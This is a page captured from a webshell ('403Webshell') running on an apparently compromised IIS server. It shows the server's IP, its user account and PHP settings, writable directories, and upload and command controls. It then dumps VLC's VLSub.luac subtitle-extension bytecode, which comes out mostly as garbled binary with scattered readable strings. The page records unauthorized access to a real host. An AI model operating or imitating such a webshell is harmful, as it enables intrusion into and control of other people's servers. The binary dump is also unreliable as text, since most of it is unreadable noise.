403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.1
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/VideoLAN/VLC/lua/extensions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files/VideoLAN/VLC/lua/extensions/VLSub.luac
LuaQS@/builds/videolan/vlc/extras/package/win32/../../../share/lua/extensions/VLSub.lua6�
@	@@�	�@�	@A�	@A�	ƒ	�„	ÅJ�I�C�IćI�ĈIʼnI�ŊIƋI�ƌIǍI�ǎIȏI�ȐIɑI�ɒIʓI�ʔ	@��J@I@K�I�K�I@L�I�L�I@M�I�M�I@N�I�N�I@O�I�O�I@P�I�P�I@Q�I�Q�I@R�I�R�I@S�I�S�I@T�I�T�I@U�I�U�I@V�I�V�I@W�I�W�I@X�I�X�I@Y�I�Y�I@Z�I�Z�I@[�I�[�I@\�I�\�I@]�I�]�I@^�I�^�I@_�I�_�I@`�I�`�I@a�I�a�I@b�I�b�I@c�I�c�I@d�I�d�I@e�I�e�I@f�I�f�I@g�I�g�I@h�I�h�I@i�I�iӁ@*��*��I�ԁ+�@+��I���I�k�	@��J��,A,�@��,A�,�@
A-�A-"AJ��-��-bA��.B.�A��.A�.�A
A/�B/"BJ��/��/bB��B��B�0AC0�B
A�0��0"CJ�1�C1bC���1�1�C�2AD2�C
A�2��2"DJ�3�D3bD���3�3�D�4AE4�D
A�4��4"EJ���bE��E��E�5AF5�E
A���5"FJ���bF���56�F�G6A�6�F
A�6�7"GJ�G7��7bG��G�7�G�8AH8�G
A�8��8"HJ�9�H9bH���9�9�H��A	�H
	A	:�I:"IJ	��:��:bI�	�I
�
�I�	
;AJ;�I

A�;��;"JJ
�
<�J<bJ�
��<�<�J�
=AK=�J
A�=��="KJ�>�K>bK���>�>�K�?AL?�K
A�?��?"LJ�@�L@bL���@�@�L�
AAMA�Lb@���A�A�@�BAAB�@
A�B��B"AJ�C�ACbA���C�C�A�DABD�A
A�D��D"BJ�E�BEbB���E�E�B�FACF�B
A�F��F"CJ�G�CGbC���G�G�C�HADH�C
A�H��H"DJ�I�DIbD��D�I�D��A�D
A�I�J"EJ���bE��EJ�J�E��JAK�E
AFK��K"FJ��K�LbF��FL�L�F�GA��F
A�L�M"GJ���	bG��GM�M�G�H	A�	�G
A�M�N"HJ�HN��NbH���N	O�H�IOA�O�H
	A�O�	P"IJ	�IP��PbI�	��P
Q�I�	JQA�Q�I

A�Q�
R"JJ
��	�

bJ�
�JR�R�J�
�RAS�J
AKS��S"Kb�����S���T����@T�����T�@���T����U���@U�����U����U����V���@V�����V�����V����W�@��@W�����W����W����X�@��@X�@���X�@���X����Y���@Y�����Y�����Y���Z����@Z�@���Z����Z���[���@[�����[�����[���\����@\�@����\A����\�A���]B���@]�B����]C����]�D���^G���@^�G����^�H����^I���_�@��@_�����_�����_AJ���`AK���@`AL����`�@���`�L���a����@aAM����a�@���aAN���b�O���@bAP����bAQ����b����cAR���@c�R����
J���c�A��c���d����Ad���d�A��d���e����Ae���e�A���e����f����Af����f�A��f���g���Ag����g�A���g����h����Ah�����h�A��h���i���Ai���i�A���i���j���Aj���j�A��j���Ak����k�k���l
�ABl��l	��A�l�	��Am�Bm	��A�m��m	��J	B��An�	��ABn	B�����n����n
�Ao�Bo	��A�o��k	������o
BAp�	��ABp�	��C�	B��A�p�	��A�l�	��A�p�	��Aq�	��ABq�	��A�q�	��A�q�	��Ar�	��ABr�	��A�r�	������r
As��k	��ABs��k	��A�s��k	��A�s��k	�����t$����At$�����t
BA�t���u$���Bu$C��	��A�u���u$����Bu$���	��A�u���u$	���Bu$C	��	��Av���Bv�v���u$�	���Bu$�	��	��A�v���Bv�v���u$
���Bu$C
��	������v$�
���w$�
���Aw$����w$B����w$����k���x��Ax�A��x����x���y�
�Ay�A
��y��
��y��
�z���Az�A��z����z���{��A{�A��{����{���|��A|�A��|����|���}��A}�A��}����}���~��A~�A��~����~��	languagedownloadBehavioursavelangExt
removeTagshowMediaInformationprogressBarSizeT@intLangengtranslations_availEnglishczeCzechdanDanishdutNederlandsfre
FrançaisellGreekbaqBasquepobBrazilian PortugueseporPortuguese (Portugal)rum	RomaniansloSlovakspaSpanishsweSwedishukr
Ukrainianhun
Hungariantranslationint_allAll
int_descr*Download subtitles from OpenSubtitles.org
int_research	Researchint_configConfigint_configurationConfiguration	int_helpHelpint_search_hashSearch by hashint_search_nameSearch by name
int_titleTitleint_seasonSeason (series)int_episodeEpisode (series)int_show_help
Show helpint_show_confShow configint_dowload_selDownload selection
int_closeCloseint_okOk	int_saveSaveint_cancelCancelint_bool_trueYesint_bool_falseNoint_search_translSearch translationsint_searching_translSearching translations ...
int_int_langInterface languageint_default_langSubtitles languageint_dowload_behavWhat to do with subtitlesint_dowload_saveLoad and saveint_dowload_load
Load onlyint_dowload_manualManual downloadint_display_code#Display language code in file nameint_remove_tagRemove tagsint_vlsub_work_dirVLSub working directoryint_os_username	Usernameint_os_password	Passwordint_help_mess�      Download subtitles from
      <a href='http://www.opensubtitles.org/'>
      opensubtitles.org
      </a> and display them while watching a video.<br>
      <br>
      <b><u>Usage:</u></b><br>
      <br>
      Start your video. If you use Vlsub witout playing a video
      you will get a link to download the subtitles in your browser
      but the subtitles won't be saved and loaded automatically.<br>
      <br>
      Choose the language for your subtitles and click on the
      button corresponding to one of the two research methods
      provided by VLSub:<br>
      <br>
      <b>Method 1: Search by hash</b><br>
      It is recommended to try this method first, because it
      performs a research based on the video file print, so you
      can find subtitles synchronized with your video.<br>
      <br>
      <b>Method 2: Search by name</b><br>
      If you have no luck with the first method, just check the
      title is correct before clicking. If you search subtitles
      for a series, you can also provide a season and episode
      number.<br>
      <br>
      <b>Downloading Subtitles</b><br>
      Select one subtitle in the list and click on 'Download'.<br>
      It will be put in the same directory that your video, with
      the same name (different extension)
      so VLC will load them automatically the next time you'll
      start the video.<br>
      <br>
      <b>/!\\ Beware :</b> Existing subtitles are overwritten
      without asking confirmation, so put them elsewhere if
      they're important.<br>
      <br>
      Find more VLC extensions at
      <a href='http://addons.videolan.org'>addons.videolan.org</a>.
      int_no_support_messg      <strong>VLSub is not working with VLC 2.1.x on
      any platform</strong>
      because the lua "net" module needed to interact
      with opensubtitles has been
      removed in this release for the extensions.
      <br>
      <strong>Works with VLC 2.2 on mac and linux.</strong>
      <br>
      <strong>On windows you have to install an older version
      of VLC (2.0.8 for example)</strong>
      to use Vlsub:
      <br>
      <a target="_blank" rel="nofollow"
      href="http://download.videolan.org/pub/videolan/vlc/2.0.8/">
      http://download.videolan.org/pub/videolan/vlc/2.0.8/</a><br>
    
action_loginLogging inaction_logoutLogging outaction_noopChecking sessionaction_searchSearching subtitlesaction_hashCalculating movie hash
mess_successSuccessmess_errorError
mess_warnWarningmess_no_responseServer not respondingmess_unauthorizedRequest unauthorized
mess_expiredSession expired, retryingmess_overloaded&Server overloaded, please retry latermess_no_input&Please use this method during playingmess_not_local1This method works with local file only (for now)mess_not_foundFile not foundmess_not_found2$File not found (illegal character?)mess_no_selectionNo subtitles selectedmess_save_failUnable to save subtitlesmess_save_warn=Unable to save subtitles in file folder, using config foldermess_click_linkClick here to open the filemess_completeResearch completemess_no_res
No result	mess_res
result(s)mess_loadedSubtitles loadedmess_not_loadUnable to load subtitlesmess_downloadingDownloading subtitlemess_dowload_linkDownload linkmess_err_conf_access#Can't find a suitable path to saveconfig, please set it manuallymess_err_wrong_path&the path contains illegal character, please correct itmess_err_hashFailed to generate hashabk
Abkhazianafr
Afrikaansalb	AlbanianaraArabicarg
Aragonesearm	Armenianast	AsturianazeAzerbaijanibelBelarusianbenBengalibosBosnianbreBretonbul
BulgarianburBurmesecatCatalanchiChinese (simplified)zhtChinese (traditional)hrv	CroatianprsDariDutchepo
Esperantoest	Estonianext
ExtremaduranfinFinnishFrenchglaGaelicglg	Galiciangeo	GeorgiangerGermanhebHebrewhinHindiice
IcelandiciboIgboindIndonesiangleIrishitaItalianjpn	JapanesekanKannadakazKazakhkhmKhmerkorKoreankurKurdishlavLatvianlitLithuanianltzLuxembourgishmacMacedonianmayMalaymal
Malayalammni	ManipurimarMarathimon
MongolianmneMontenegrinnavNavajonepNepalismeNorthern Saminor
NorwegianociOccitanoriOdiaperPersianpolPolishPortuguesepusPushtorusRussiansatSantalisccSerbiansndSindhisin
Sinhaleseslv
SlovenianswaSwahilisyrSyriactglTagalogtamTamiltatTatartelTeluguthaThaitok
Toki PonaturTurkishtukTurkmenurdUrduvieVietnamesewelWelshsqarhyeubnbsbrbgmycazhhrcsdanleneoetfifrglkadeelhehihuisiditjakkkmkolvltlbmkmsmlmnnoocfaplptpororusrsiskslesswsvtltethtrukurvidescriptor	activateclosedeactivatemenu
meta_changedinput_changedinterface_mainset_interface_maininterface_configinterface_helpinterface_no_support
trigger_menu
show_main
show_conf
show_help
close_dlgassoc_select_confset_default_optiondisplay_select
check_configload_configload_translapply_translationgetenv_lang
apply_configsave_configSetDownloadBehavioursget_available_translationsset_translationopenSub
itemStoreactionLabelconfurl%http://api.opensubtitles.org/xml-rpcpathuserAgentHTTPVLSub
useragent
VLSub 0.11.1downloadBehaviours
languagesoptionsession
loginTimetokenfile	hasInputuriname	protocol
cleanNamedirhash	bytesizefpstimemsframesmovietitle
seasonNumberepisodeNumbersublanguageidrequestgetMethodBasemethodsLogInparams	callbackLogOutNoOperationSearchSubtitlesByHashmethodNameSearchSubtitles
getInputItemgetFileInfo
getMovieInfo
getMovieHash
checkSessionsearchHashsearchIMBDdisplay_subtitlesget_first_selfind_subtitle_in_archivedownload_subtitles	dump_zipadd_subprogressBarContentsetMessage	setErrorsuccess_tag
error_tag	warn_tagget	http_req
parse_header
parse_url
parse_xml
parse_xmlrpc	dump_xmlfile_touchfile_exist	list_diris_window_pathis_win_safetrimremove_tagKgq
�	@@�	�@�	@A�	�A�	@B�DF��F�	@�J����b@	@���title
VLsub 0.11.1version0.11.1author
exebetcheurlhttp://www.opensubtitles.org/
shortdescVLsubdescriptiontranslation
int_descr
capabilitiesmenuinput-listenerhijklmnnnnooooopqoptionss�@@�@A�@��@��@@@AA�@�AB��@�@�B@�@�B@�@��
vlcmsgdbg[VLsub] Welcome
check_configerr [VLsub] Unsupported VLC versioninputitemopenSubgetFileInfo
getMovieInfo
show_maintttttvvvvwwwwwxx{{{{{{|||}}}�����@@@��vlcdeactivate������@@�@A�@��A@@�A�A�@�A�AWB��@@BA�@�vlcmsgdbg[VLsub] Bye bye!hideopenSubsessiontokenrequestLogOut��������������������������dlg��

�EF@����@���"@��lang
int_researchint_config	int_help
������������������@�@@�@��collectgarbageset_interface_main����������@�@��@�����A�@��DK����A��\�	@��B�@�@Bŀ�A��@@�@�C������A�@��DK������@��@��@�A����\��	@��B�@��D��A���@@�@�E�����AA�@��DK�����ƀ��@��@�AA���\��	@�@�@��E������A�@��DK��������@��@�A����\��	@��DK����A��\�	@���	@G��DK���A����\��	@�B�@�H�@A���@B���@�����@	�A���@B�@��I�	AA���@B�@�J�@
�A���@�
A@�@������EAFA�@�@��/
add_labellangint_default_lang:�?	language
add_dropdown@add_buttonint_search_hashsearchHash@
int_titletitleadd_text_inputopenSubmovieint_search_namesearchIMBDint_season@
seasonNumberint_episodeepisodeNumber	mainlist	add_list@message @int_show_help
show_help@   int_show_conf
show_confint_dowload_seldownload_subtitles
int_closedeactivateassoc_select_confconf
languagesint_alldisplay_subtitles����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������dlginput_table��.DF@���@@��A@��@A@�@@�A����A�@@�@��@�@B�A����A�@B�@��@��B�A����A��B�@��@��typetitle	userdataopenSubgetFileInfo
getMovieInfo	set_textmovieepisodeNumber
seasonNumber.����������������������������������������������input_table�	)D�K@�ŀ����AAA�A�A\��	@�D�K��ŀ��AA��A�AB\�	@�D�K��@AAA�A\�	@���@@����C����@�A��A@�D�K��@�AA�A\�	@���@@���D����@AA��A@�D�K��@AAA�A\�	@���@@����D����@�A�A@�D�K��@�AA�A\�	@���@@����E����@�A�A@�D�K��@�AA�A\�	@��@@���@F����@�A�A@�D�K��@��G�F܀��ŀ�����@��@�A����A\��	@���@@����H����@�A�A@�D�K@��@��GI܀��ŀ�����@��@�A����A\��	@�	�I�D�K@��
AAA
�A�A\��	@���A����J�
�A�A�A@��A���@KŀAA�A�A@@E�K���AE�F��FA�������@@@E�K���AE�F��FA�S��������@F�K���AE�F��F�������@@F�K���AE�F��F�S��������@�A���ŀ�����@��A��@
ŀ��ƀ��E�F��@�A@�@ŀ����A@��9intLangLab
add_labellang
int_int_lang:�?intLangButadd_buttonint_search_translget_available_translations@intLang
add_dropdown@int_default_langdefault_languageint_dowload_behavdownloadBehaviourint_display_code@langExtint_remove_tag@
removeTagint_os_username@os_usernameadd_text_inputtypeopenSuboptionstringint_os_password @os_password
add_passwordmessage "@int_cancel
show_main$@	int_save
apply_config
add_value
int_bool_	tostringassoc_select_confconftranslations_avail	language
languagesint_alldownloadBehaviours)�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������			









	input_tabledlg )	#@@D����@A��A���I��D�K�����AA�܀�A���\@�D�K@��ƀ��AA���\@�langint_help_messhelp	add_html�?@
add_labelstringrep&nbsp;Y@@@add_buttonint_ok
show_main#!!###$$$$$#$%%&&&&&&&&&%''(((((((')
help_html"input_tabledlg+2	@@D����@A��A���I��D�K�����AA�܀�A���\@��
langint_no_support_messno_support	add_html�?@
add_labelstringrep&nbsp;Y@@@,,.../////./0011111111102no_support_htmlinput_tabledlg4F4@��E@\@�E�F����@A��A\�HE�\@���B��E@\@�E�F����@A��A�@��B�\�HE\@��@C��E@\@�E�F����@A��A�@��C�\�HE�\@�E\@���?
close_dlgvlcdialogopenSubconf
useragentinterface_main@: langint_configurationinterface_config@	int_helpinterface_helpcollectgarbage455667788878999::;;<<=======<=>>>??@@AABBBBBBBABCCEEFdlg_id3dlgHJA@@�
trigger_menu�?IIIJLNA@@�
trigger_menu@MMMNPRA@@�
trigger_menu@QQQRT`@@�@A�@WA��@A@�
��@��vlcmsgdbg[VLSub] Closing dialoghidecollectgarbageUUUUUWWWYYY\\]]^^__`dlginput_tablednD�����A��������I�E�\AEA�\A�cfoptdfltindset_default_optiondisplay_selectffghijklllmmmn
select_id
option
conf
ind
default
select_confp�DF�F����@@���ƀ��AA��A�A@���A��optcfindopenSuboptiontablesortv~�@�@ƀ��������������@ƀ�����������������X���@�����?openSuboptionwwwwwwwxxxyyyyyyyzzz|||||||||~aboptindrrrssstttuuuuuvvv~~~v�
select_idoptcfgind	select_conf��<DF�F����@@ŀ��ƀ�ABA�B��A���	�Z������˂�F�A���B��������˂�F�A���B����˂�@��B������˂�@��B����˂�F�A���BB�����	cfoptopenSuboptiondfltipairs
add_value@<������������������������������������������������������������
select_id;conf;opt;option	;default;default_isset
;(for generator);(for state);(for control);k9l9select_confinput_table�d
@E�F��F�@�EI�!���
@�D��EA��A�BI�!�@���BC�����@@@C����C	ć����C	@ć@A�@E�F�����B�@E���I���EF��F������C��D�\��W@����ƀ���W�������@��E�F��F��A�@����A�A���@�@�@
�EF��F������C��D�B��\€�@�W@�@�EF��F��W@�EF�FB���łƂ����C@�B\BB^E�F������C��D�B�I���!�����C�D"�G�HA	����C��DU��A��CE�F��F���U��	A����CE�F��F���A��	U��	A�
E�F��FA����G�HAA
����C�AIU��A�
A�@�G�HA�
AA����AAA�G�HA�AE�F��F���E�F��FA��������ł���A
�C
܂�����@CL�C��
�M@����D��CC���������@�NW@N�	�����C��N�A@�����C��I�A��@NA��A�
܁��������@B�A�A�A�G�HA���U��A�AAP�AP�PA@��PE�F��F��A�Ɓ�U����A�RAAA�AE�F��FA���E�F�F��@���E�
F������C�BL��
@��"C\B@�E�
F������C�BL��@�B\B�!����A���Leng_translationpairsopenSuboptiontranslationtrsl_namesipairs�?@slashpackageconfigsub\confoswinlinvlsub_conf.xmldirPathvlcuserdatadiriomkdir0700errnoEEXISTmsgwarnFailed to create luaextensions	userdatavlsubdbg[VLSub] Working directory: 	filePathlocalePathlocalefile_exist[VLSub] Loading config file: load_config[VLSub] No config filegetenv_lang
config_savedsave_config[VLSub] Unable to save config	list_dirtranslations_availstringgsub^(%w%w%w).xml$%1tableinsertintLangengtranslated.xml([VLSub] Loading translation from file: load_transl'[VLSub] Unable to find a suitable path'to save config, please set it manuallylangnetpolldialog
useragent: mess_errorinterface_no_supportshowSetDownloadBehaviours
int_researchcollectgarbaged������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������			



!(for generator)(for state)(for control)k
v
(for generator)(for state)(for control)ilg	filePath,cres;cerr;csubdirsSc(for generator)V�(for state)V�(for control)V�_W�dirW�
file_list�translations_avail�(for generator)��(for state)��(for control)��i��
file_name��lg��transl_file_path(for generator)A_(for state)A_(for control)A_kB]lB]
languagesoptionsdlg:E@@�@E�F�F@�����@@�B^K�A�\���@B�@���������	�@��@C���C@��A	ć�@���E�FC�F��I�!�@����BD	��������BD	D������BD	E���BD	��@��@�@��vlcioopenopenSubconf	filePathrbread*allflush
parse_xmlpairstypetabletranslationtranslatedoptiontruefalsecollectgarbageE    !!!""###%%%%&&&&&''((())))****)*+---.001111223333555%799:
tmpFileDrespDoptionD(for generator)B(for state)B(for control)Bkey@value@(for generator)%,(for state)%,(for control)%,k&*v&*<EE�@��@��@���\��@��������@��@��B���@�@����@�@��assertvlcioopenrbread*allflushopenSuboptiontranslation
parse_xmlcollectgarbage>>>>>>>>???@@AAACCCCCCDDEpathtmpFilerespGNE@��E�F��F�F��ZA@�E�F��F��A��I��!�@��pairseng_translationopenSuboptiontranslationIIIIJJJJJJKKKKKKILN(for generator)(for state)(for control)kvPc	2@@A����E�F���@�\��E���\�Z@�EF@���I����E�F����C�@������\�����@�ƀ����ƁA@�����A��D�������osgetenvLANGstringsub@typeopenSuboption	languagematch
setlocalecollate^[^_]+ipairsconf
languages�?2RRRRTTUUUUUUUVVVVVVWWWWWXZZ[[[[[\Z]]]]]]^^^____]`cos_lang1lang_w"1(for generator)'1(for state)'1(for control)'1i(/v(/lang_os_to_isoe�r@@@�C�@�W�@���AAA@��AAA�@E��\AE�\A�D���DFZ��D�FZ��DFKB�\�@�D����@�����E�F��IC@�E�F���B��B��@I�E���\B!�����BDF��K�\�	A����BDFA�K�\�	A���DA@��D����BE�F��F��S�	A�EA@��D����BE�F��F�S�	A�A��E���\AA��E���AF\A�intLang
get_value�?openSubconftranslations_availset_translationSetDownloadBehaviourspairsoptoptioncfset_default_optionos_username	get_textos_passwordlangExt@
removeTagsave_config
trigger_menu	setErrorlangmess_err_conf_accessrgggghllllmmmmmmnnnnnoooppsssstuuuuuuuvvvvvwwxzz{{{{}}}}}}���s�����������������������������������������������������lg_selqsel_valqoptqsel_cfqlg(for generator)>(for state)>(for control)>
select_id<v<
config_savedhqinput_tableselect_conf��=@@�@@
�@@�@	�@A�AA���@@��@U��@B@BEF@�F������W�B��E��@C\���C��@���C�@@�B^E\@�B�^�@A�AA@��U��@�EF@�@�openSubconfdirPath	filePathvlcmsgdbg[VLSub] Saving config file:  ioopenwb	dump_xmloptionwriteflushcollectgarbage&[VLSub] Unable fount a suitable path 'to save config, please set it manually	setErrorlangmess_err_conf_access=�������������������������������������������������������������tmpFile.resp!'��@@	�@�@@J��A�A�@��EAF��@b@	@��	openSubconfdownloadBehaviourssavelangint_dowload_savemanualint_dowload_manual���������������������YA@@DF��K��\���@A���E���BI���E@�\��B�B���EA�����@�BՁ��\A�E���\�G�C������CE�EW@��C����C�	C�FE�F��F�������CC�CEG����Ń��������C����ABEF���A��A�� $http://addons.videolan.org/CONTENT/,content-files/148752-vlsub_translations.xmlintLangBut	get_textlangint_search_translopenSubactionLabelint_searching_translgetoptiontranslations_availsetMessage
error_tagmess_error ()	all_trsl
parse_xmlpairsintLang�?trsl_namestableinsertconf
add_valuesuccess_tagmess_completecollectgarbageY�����������������������������������������������������������������������������������������translations_urlXtranslations_contentXstatusXrespXtranslations_availXlg'Xtrsl'X(for generator)*P(for state)*P(for control)*Plg+Ntrsl+Ninput_tableoptions�]EF@�I�@�EF@��I��A��E@��\����A@��@�Aa�@���EF��F�Z��E@���A�BŀA��@\�Z��EF��F�����U���@C��C������@����@�@�@���E�Z@@�E�\@�E�Z��E�F�Z@��EF@�F���\@B^EF@����I��E@\@�C�G�C�G@EF@�F��G@E�\@��openSuboptiontranslationengpairseng_translationconflocalePathfile_existslash.xmlvlcmsgdbg([VLSub] Loading translation from file: load_translapply_translation	all_trslget_available_translations%[VLSub] Error, translation not foundlangcollectgarbage]��������������������������������������������������������������������		



lg\(for generator)(for state)(for control)k
v
transl_file_path+76j�EF@�F�F��\�����@������A@����EF��F�����A�A��A��@BA���A�BCU������CD@�����A��A����AB܁�������@�����F�
��B������������F����B@��G���������@G����G���B�
��
���B��A�����ƒ�B��@
���	�B����@I�����	�B�B��������I�J��W����B
��
�B���I��������G��B�����J����B���-openSubmethodsparamsgetMethodBase<?xml version='1.0'?>	dump_xml
parse_urlconfurlPOST 
 HTTP/1.0Host: 
User-Agent: userAgentHTTPContent-Type: text/xmlContent-Length: stringlentableconcat
	http_reqT@i@
parse_xmlrpcstatus200 OK	callback406 No sessionrequestLogIn	setErrorcode '' ()Server not respondingy@Request unauthorizedsessiontokensetMessageSession expired, retryingp@&Server overloaded, please retry later�777778888899999:::::;<<<<===>>>>>?@@@@@@ACCDDDDDDDFGGGGGIIJJJJKKLLLMMMNNNNNOOOPPPPPQQRRSTTTTRUUVXXXYYZ[[\\\^^^^______```aaaabbbbdddeefffggj
methodName�params�	reqTable
�request�host�path�header+�	response3�status8�responseStr8�kv��@@���@�����@@��@�@ʀ��
A	A����������openSubmethodsmethodNamemethodCallparamsparamllllllmmmmpqrssssuvmethodNameparamrequesty�$E�F��	@��
J@�@�ƀ�������I���@�@�AB�������@
AEFA�F��	A����
AJA���B�CI���	A�"@�
openSubactionLabellang
action_loginvaluestringoptionos_usernameos_passwordmoviesublanguageidconf
useragent$zzzz{{|||||||}}}}}}}~~~~~~~�����
EF@���@I��EF@���@A���I���B�^�openSubsessiontoken
loginTimeostime
�������������resp��E�F��	@��
�J@�@�ƀ�������I��"@��openSubactionLabellangaction_logoutvaluestringsessiontoken������������������������E�F��	@��
�J@�@�ƀ�������I��"@��openSubactionLabellangaction_noopvaluestringsessiontoken�����������������B�^����resp��>E�F��	@��EF@��@ŀ�܀U��@
J@�@�ƀ�������I���@�@
AJA�A�A
�J�IBD��B�Ƃ��B��‚�I������D��BECE������ʂɂE�
CEF�F�	C����"B�������I��	A�������"@�openSubactionLabellangaction_searchsetMessage: progressBarContentvaluestringsessiontokenarraydatastructmembernamesublanguageidmovie
moviehashfilehashmoviebytesizedouble	bytesize>����������������������������������������������������������������E��@I����openSub
itemStoredata����resp��	XE�F��	@��EF@��@ŀ�܀U��@
J�I@B��@����@�����I�����@C��@C�C������"@EF�F��W���E@F���ʀ�D�
AEF�F��	A����\@�EF�F�W���E@F���ʀ�@E�
AEF�F�	A����\@�J�@�@�E�E�������@
AJA�A�A
B	�������I���	A���b@^�openSubactionLabellangaction_searchsetMessage: progressBarContentnamesublanguageidvaluestringmoviequerytitle
seasonNumbertableinsertseasonepisodeNumberepisodesessiontokenarraydatastructmemberX����������������������������������������������������������������������������������������memberW��E��@I����openSub
itemStoredata����resp��
@@@���@@@���vlciteminput
�����������
S@@��EF��@��I��I���I������@B��B���A����@��A��I�����C�@C�����@@����ƀ���܀�����AA�����AUA�܀��������A�����AUA���I�I���ƀ��@�I��I@Ɓ�ƀ���A��܀I�����@�ƀ�AE���\�A�@���@�� openSub
getInputItemfile	hasInput
cleanNameurivlcmsgdbg[VLSub] Video URI: strings
make_pathdecode_uristringmatch^.*[slash]([^]-).?[%a%d]*$dirname^(.*[])([^gsub[%._] [VLSub] file info 	dump_xmlcollectgarbageS��������������������������������������������������������������������itemRfileR	filePathP"D@@�@@���@	@A��@	@A��@	@��@BEF@�F��Z@�A@���@���@�A@�BA�AA����@�@����������@����ɀ�������A@�B������@A�����@���@�@��openSubfilenamemovietitle
seasonNumberepisodeNumberstringmatch
cleanName(.+)[sS](%d%d)[eE](%d%d).*(.+)(%d)[xX](%d%d).*collectgarbageD			


!!"	showNameC
seasonNumberCepisodeNumberC#l"�E�F��	@��EF@��@ŀ�܀U��@B��@@�E@����B\@B^EF��\@�A���ACŁ����B�AŁƁ��DE܁B����@�F����€��@�@���CFAB��U��BBE�F��B�F���������@ZA���CFA�U��BBE�F��BB������A��	����	EC�
����	�����	�LG��F��@����@�
�
��ΆH��
�F���
��H�
�ƃΆH��
�F���
��H	L�

���	�FI
���@
��

�LB�@
���	�FI
����@
��
M���E����D������D�
�E��
@��܅�Ņ�����C�D��
�D�I���E����C�D�����E�E�E�����.openSubactionLabellangaction_hashsetMessage: progressBarContent
getInputItem	setErrormess_no_inputgetFileInfo�@vlcmsgdbg#[VLSub] Read hash data from streamstreamfileurireadpcallgetsizewarn$[VLSub] Failed to get stream size: mess_err_hashseek2[VLSub] Failed to seek to the end of the stream: �A�? @byte@p@pAmathfloor	bytesizehashstringformat	%08x%08x[VLSub] Video hash: [VLSub] Video bytesize: collectgarbage�%%%%&&&&''''&)))++,,,,--00023456:::::<<<<<<>>>>??????@@AAAAAAABBBBCCEEEEEEEFFGGGGGGGHHHHIIKKKKNOPQQQRSUUUUVVVVVVVVVVVVWWWWWWWXXXXXXXZZ[[[[[\\]``aaaaabbUfffggggggggghhhhhhhhhiiiiiiijjkklitem�data_start�	data_end�size�chunk_size�ok �err �file+�lo_�hi`�oa�aa�ba�ca�da�ea�fa�ga�ha�
hash_datad�	max_sizee�	overflowf�(for index)i�(for limit)i�(for step)i�ij�mt@@�@�@�AA@@��AA�@�openSubsessiontokenrequestLogInNoOperationoooooppppprrrrtw�)@@@��@��E�F�I�����E�F�����A�B��@BI���E�F��\@�E�F��F�Z@�E�F@�\@�E�F����\@E\@���E@����D\@�	language
get_valueopenSubmoviesublanguageidallconf
languages�?
getMovieHashfilehash
checkSessionrequestSearchSubtitlesByHashdisplay_subtitles	setErrorlangmess_err_hash)xxxxyyzzzz||||||||��������������������sel(input_table��<@@E����@�A�\�	@�@@E���@A�A�\�	@��@@E����A�A�\�	@��B@B��B��EF@�I��EF@���@C��C���CI���EF@�F��W��EF@�\@�EF����\@E\@��openSubmovietitletrim	get_text
seasonNumber	tonumberepisodeNumber	language
get_valuesublanguageidallconf
languages�?
checkSessionrequestSearchSubtitlesdisplay_subtitles<������������������������������������������������������������sel;input_table��E@K@@\@E�F��Z@��E�F��W�
�A@��ŀ�����܁����BFBB����BAC��C��Uƒ���AL����@��@��@���EAA����@�����E���@�KB���\@E@�����AE�F��@\@�	mainlistclearopenSub
itemStore0ipairsnext
add_valueSubFileName [SubLanguageID] (	SubSumCD CD)�?setMessage<b>langmess_complete:</b>   	mess_resmess_no_resE���������������������������������������������������������������������	mainlistDnbRes6(for generator)&(for state)&(for control)&i$item$input_table��K@\��@����^�������get_selectionpairs������������list
selection(for generator)	(for state)	(for control)	indexname��
)��@@�ƀ�������A܀�@@�A@�U@�@���E�F��BB����Ƃ��܂��\��@���KBB]^!����vlcdirectory_streamstrings	make_urireaddir.pairsstringsuburilen)�����������������������������������������	archivePath(subfileExt(archive(items
((for generator)&(for state)&(for control)&_$item$�Q#DF@���@@�E���@A\@B^E���BI���E@\@�E�F��F�����B�CW@C�����C��C�@����AEF�����������AF���������AA�@���@����ŀƀ����@�����BG���AA���Հ�AA���ՀAH�H��A�����A���AB	�B	܁ˁ�A�	܁����A�	��	�A
�AJA�
����
U‚��@��@��A�����B�A�܂��A�����F������B@�EB���L��
F������C�D�\BB^EF��F������\BEB����\��ZB@����Ƃ��B���łƂ������łƂ����������܂�B@�ł�B�Ƃ����ł�B�Ƃ��@��B��CEF�����
�PQE�FD�F���A���DM	�DU���@��B�LA��
ƃ��EFD��D��B���Ƃ����C@C�B�Ƃ��܂�EF�F����\�����C��C��������@����C�C��C�����C���K��S����C�����M�T�C���C������������������@��C�ƃ����������C�Vget_first_sel	mainlistsetMessagelangmess_no_selectionopenSubactionLabelmess_downloadingdisplay_subtitles
itemStoreoptiondownloadBehaviourmanualfile	hasInput<span style='color:#181'><b>mess_dowload_link:</b></span> &nbsp;</span> &nbsp;<a href='ZipDownloadLink'>MovieReleaseName</a>namelangExt.SubLanguageID
SubFormatvlcconfig	cachedirpackagesub�?match/\gmatch[^]+iomkdir0700	dump_zipSubFileName	setErrormess_save_fail &nbsp;
<a href='mess_click_linkmsgdbg[VLsub] tmpFileName: find_subtitle_in_archivemess_not_loaddirfile_touchconfdirPathslash<br>	warn_tagmess_save_warnstrings	make_uri[VLsub] Subtitles files: streamopenwbwriteread�@flushclosecollectgarbageunlinkerr [VLsub] Unable to remove temp: add_subsuccess_tagmess_loaded
error_tag#������������������������������������������������������������������������������������������������	





"""""""#####$$$$$$%&&&&''''((('())))&))++++,,,----+..222222266667888888::;;;<<<<<??@@BCCEEEEEEEFFFFFFFJJJJJKKKKKKKMMMMMMPPPQindex"item"link 7message8"subfileName>"tmp_dirO"
